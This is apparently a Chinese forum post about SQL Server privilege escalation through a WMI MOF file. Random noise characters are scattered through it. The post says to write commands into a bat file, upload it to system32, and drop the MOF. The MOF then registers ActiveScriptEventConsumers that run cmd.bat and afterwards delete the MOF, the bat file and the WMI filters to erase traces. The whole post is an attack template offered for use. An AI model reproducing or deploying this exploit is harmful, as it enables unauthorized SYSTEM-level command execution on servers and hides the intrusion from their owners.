这个sql提权MOF需要运行 system下的文件,不能定义路径。; r6 O& n1 M7 m2 m& Z
需要将要运行的命令写入到bat上传到system32目录,然后执行。
9 R0 w$ R. M* A( |9 {5 X: U8 _( D b: V2 ?' E
这个sql提权MOF需要运行 system下的文件,不能定义路径。
. U5 d- L2 P" Q需要将要运行的命令写入到bat上传到system32目录,然后执行。
9 U$ K& X8 W. T& F
8 ^" N7 Z- y8 Y4 m#pragma% E9 A# ?2 s6 ], X
namespace("\\\\.\\root\\cimv2")
' u9 `! } }/ m; `' H/ U class
) i$ `& ] P, P0 Y# I1 j MyClass5471 O* a$ i( y) S6 G4 U9 d. i% ]# I
{ [key]% b- o9 W+ [' |# |, x7 q
string
; d' u% Z! L/ S3 M& { }9 I2 U Name;
( u R( f" a5 f+ d) ~9 |' ` };
& q$ r0 U: P( W3 M, i class
! X* {) _5 a& u. G( _ ActiveScriptEventConsumer" W+ T: ^) z* G' x; U% R, s
: __EventConsumer { [key]
0 o: P9 f9 s' ], B string0 ]7 H! J+ F0 G; \3 _& N, N: B$ P
Name; [not_null]6 e4 x6 E% C! o' C! v
string
1 ?6 }% |( _; I+ M) ^# Y1 { ScriptingEngine; string) N9 N* z* _7 I6 F' h% o
ScriptFileName; [template]' e! K7 C, [, x1 Z) R- f& b
string
3 p& T; C/ e1 o* z- ?: {+ Y ScriptText; uint32 KillTimeout;
2 k3 m3 |0 U# b9 G3 W }; instance of __Win32Provider as $P {/ P4 R" y$ h2 \2 y1 n
Name
0 u4 B6 n+ Z/ x0 y =- D4 p. U" c8 |
"ActiveScriptEventConsumer"; CLSID =5 f! ~0 G7 x' ]& a6 q3 |! s
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";" v% T" ~! R6 Q" l
PerUserInitialization
" \: }9 r5 j0 S# \ = TRUE;
, U/ C% K0 Z1 B3 B h, f1 D }; instance of __EventConsumerProviderRegistration { Provider5 U* J# I( k( f8 r- N T8 d
= $P; ConsumerClassNames5 T1 {+ T5 c' `
=; [6 ~8 g2 u& [8 {) z
{"ActiveScriptEventConsumer"};
- R$ i+ X7 t+ c' a };: I( W( ^- H; g$ H2 i
Instance of ActiveScriptEventConsumer
/ u( G4 I( A4 X4 m as $cons { Name7 M X0 V7 L" ~% ^4 H6 g3 ~& {4 V
=
& D" i+ P/ F( M9 c3 K "ASEC"; ScriptingEngine
& N2 N6 s' T/ S: h( t7 R" j3 j =$ K) x6 _9 l. q$ r1 _
"JScript"; ScriptText
. l) I, F, ^* e$ y4 W1 T& Z/ y =$ B5 A9 t7 ~ c* \, y2 ~) W
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
3 @4 t& W5 k3 e; _6 z Instance of ActiveScriptEventConsumer I, L. C% m7 ~ t: f
as $cons2 { Name+ f5 v6 n" z# d* c r
=
! u1 }" T1 m8 F k2 L$ O! p7 a- Q* |9 J "qndASEC"; ScriptingEngine
0 j0 P6 ]! c8 ]# D6 v =
& {- [: f8 }; m/ ~$ B "JScript"; ScriptText
5 C8 [7 q; i, m+ {( X9 j2 ^8 ] =
/ h8 S1 `% |: z+ ]5 m% E- f "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
+ w9 D9 c3 q/ W6 J- C4 b" s }; instance of __EventFilter as $Filt { Name
7 z4 C0 s8 n) F8 \) b =
& c/ B( v- i8 L "instfilt"; Query. S( c* }' W( P5 k
=
( e. m7 Z: l7 L$ f4 {3 E1 @+ ^ "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage$ {& v5 o' _4 U4 e
=) m" [) y8 L' t( b2 O; p4 |
"WQL"; }; instance of __EventFilter as $Filt2 { Name
9 @( q4 i" y) L# i, M$ k, ?5 Z =# b. \' b; Z7 N3 w0 a1 o
"qndfilt"; Query
3 z- w. f6 K! D9 ^2 L9 Q7 h3 }2 u =4 c: V/ j# `. D `7 B: J7 C
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage8 m# p6 q3 h) ?# G$ O+ g7 k
=
' w& x j C. O8 [# m6 D7 L "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer1 c4 y2 o3 l, [+ s0 L2 _
= $cons; Filter3 }7 C6 F& b M
= $Filt;
- q! a, D! z! s9 K# c }; instance of __FilterToConsumerBinding as $bind2 { Consumer
% t. f( ?3 y) E# _7 h = $cons2; Filter+ E( O( q/ J+ u. J5 Z
= $Filt2;0 d6 l% |1 K4 B+ Y
}; instance of MyClass547
" o ?" ~- X- ]0 N! ?1 | as $MyClass { Name8 ]6 T+ R2 ?9 K$ `! x2 A- ~7 O! Y
=" N4 x( T9 v0 |+ f# ^
"ClassConsumer";9 I- N' Z! \2 F9 Q3 ?0 [, S! _
}; |